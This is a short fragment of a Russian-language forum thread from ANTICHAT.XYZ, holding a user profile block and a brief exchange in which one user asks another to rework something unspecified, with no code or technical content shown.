Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

Цитата:
Сообщение от [sL1p]  
Можно и так, переделать там недолго.
ну тогда будь добр =)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ